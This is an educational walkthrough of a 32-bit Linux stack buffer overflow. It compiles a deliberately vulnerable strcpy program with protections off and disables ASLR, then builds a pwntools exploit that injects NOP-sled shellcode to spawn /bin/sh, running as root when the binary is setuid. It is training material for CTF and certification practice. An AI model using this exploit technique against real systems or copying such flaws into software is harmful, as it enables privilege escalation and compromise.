Linux stack BOF walkthrough — end to end

Linux stack BOF walkthrough — end to end

TL;DR: Six-step recipe for a classic 32-bit Linux stack BOF on a deliberately weak binary: find the bug → fuzz crash → control EIP → bad chars → place shellcode → execve(“/bin/sh”). Practise on Crossfire / protostar / pwntools tutorials until it takes 20 minutes. Companion to stack-bof-walkthrough-end-to-end (Windows version) and stack-buffer-overflow.

Setup — deliberate vulnerability

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sudo apt install -y gdb gef python3-pwntools gcc-multilib

# Compile a vulnerable test binary
cat > vuln.c <<'EOF'
#include <stdio.h>
#include <string.h>
void vuln(char *s) { char buf[64]; strcpy(buf, s); }
int main(int argc, char **argv) {
    if (argc > 1) vuln(argv[1]);
    puts("done");
    return 0;
}
EOF

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
sudo sysctl -w kernel.randomize_va_space=0   # disable ASLR for learning

The flags recreate a 2003-era binary so you can learn the primitive before fighting mitigations:

  • -m32 — 32-bit (simpler register set, smaller addresses).
  • -fno-stack-protector — no canary.
  • -z execstack — stack is executable.
  • -no-pie — fixed load address.
  • randomize_va_space=0 — heap/stack at fixed addresses.

Step 1 — confirm the bug

1
2
./vuln $(python3 -c 'print("A"*100)')
# Segmentation fault — confirms BOF

Step 2 — find offset to EIP

Pwntools’ cyclic pattern is easier than msf-pattern_create:

1
2
3
# offset.py
from pwn import *
print(cyclic(200).decode())
1
2
3
4
5
6
gdb-gef ./vuln
gef> run $(python3 offset.py)
# Program received signal SIGSEGV
# EIP: 0x6161616a  (the bytes 'jaaa' = 'a' position in cyclic)
gef> pattern offset 0x6161616a
# → offset 76

Step 3 — confirm control

1
2
3
4
# confirm.py
from pwn import *
payload = b"A"*76 + b"BBBB" + b"C"*20
print(payload.decode('latin-1'))
1
2
./vuln "$(python3 confirm.py)"
# In gdb: EIP = 0x42424242 ✓

Step 4 — locate the buffer

You need an address that will contain your shellcode. On a no-ASLR build, buf is at a stable stack address.

1
2
3
gef> run $(python3 confirm.py)
gef> x/40x $esp-100
# Read the stack; find the 'AAAA...' region; note its start, e.g. 0xffffd1f0

This is your “jump target” — the address where shellcode will live after the overflow.

Step 5 — bad characters

For an argv overflow:

  • \x00 is always bad (terminates the string).
  • Newline \x0a and carriage return \x0d are not for argv (no shell parses them) but they break stdin-based exploits.
  • For envp-based exploits, = is bad.

Practical: \x00 only for our strcpy argv case.

Step 6 — shellcode + jump

1
2
3
4
5
6
7
8
9
10
11
12
# exploit.py
from pwn import *

context(arch='i386', os='linux')

shellcode = asm(shellcraft.sh())          # spawns /bin/sh
offset    = 76
ret_addr  = p32(0xffffd1f0)                # buffer address
nops      = b"\x90" * 32
payload   = nops + shellcode + b"A" * (offset - len(nops) - len(shellcode)) + ret_addr

print(payload.decode('latin-1'))
1
2
./vuln "$(python3 exploit.py)"
# you're root if vuln was setuid; otherwise plain shell

Wait — but if our shellcode lives at the start of our argv buffer, why do we need a return address pointing back? Because the saved EIP is 76 bytes in, and EIP needs to point at the shellcode. The NOP sled lets you be imprecise on the exact start.

What changes with modern mitigations

Mitigation Effect Bypass
NX (DEP) stack not executable ROP — see ret2libc, rop-chains
ASLR random stack/heap base info-leak first, then ROP
Stack canary random value before saved EBP leak canary or overwrite via specific primitive
PIE random binary base leak a code pointer first
Full RELRO GOT read-only use a different primitive (heap, stack)

The classic Linux BOF chain when NX is on:

  1. Overflow as before.
  2. Build a ROP chain that calls system("/bin/sh") from libc — see ret2libc.
  3. If ASLR is on, leak libc base via printf/puts of a known function.

For OSEE-style modern exploitation see exploit-primitives-for-mitigated-targets.

Practice ladder

  1. The walkthrough above — vuln.c with all mitigations off.
  2. Crossfire (CTF) — same shape, x86 Linux.
  3. protostar — stack0 through stack6 (NX, then canary, then ASLR).
  4. ROP Emporium — eight challenges that build ROP fluency.
  5. pwn.college — formal curriculum.

Common failures

  • EIP isn’t 42424242 — offset wrong; recount with cyclic.
  • Segfault before shellcode — your return address points at a non-mapped page; gdb’s stack differs from native run (env-var noise shifts addresses). Re-derive under the same env conditions.
  • Shellcode runs but exits immediately — wrong shellcode for arch; shellcraft.sh() defaults to x86 on context(arch='i386').
  • Works in gdb, fails outside — gdb stack layout differs. Wrap in gdb.attach mid-run or use a NOP sled big enough to absorb the drift.

SUID note

If the binary has the setuid bit:

1
2
3
sudo chown root vuln
sudo chmod u+s vuln
ls -l vuln    # -rwsr-xr-x

Now BOF → shell runs as root. Most CTF and OSCP scenarios assume this for the “win”.

References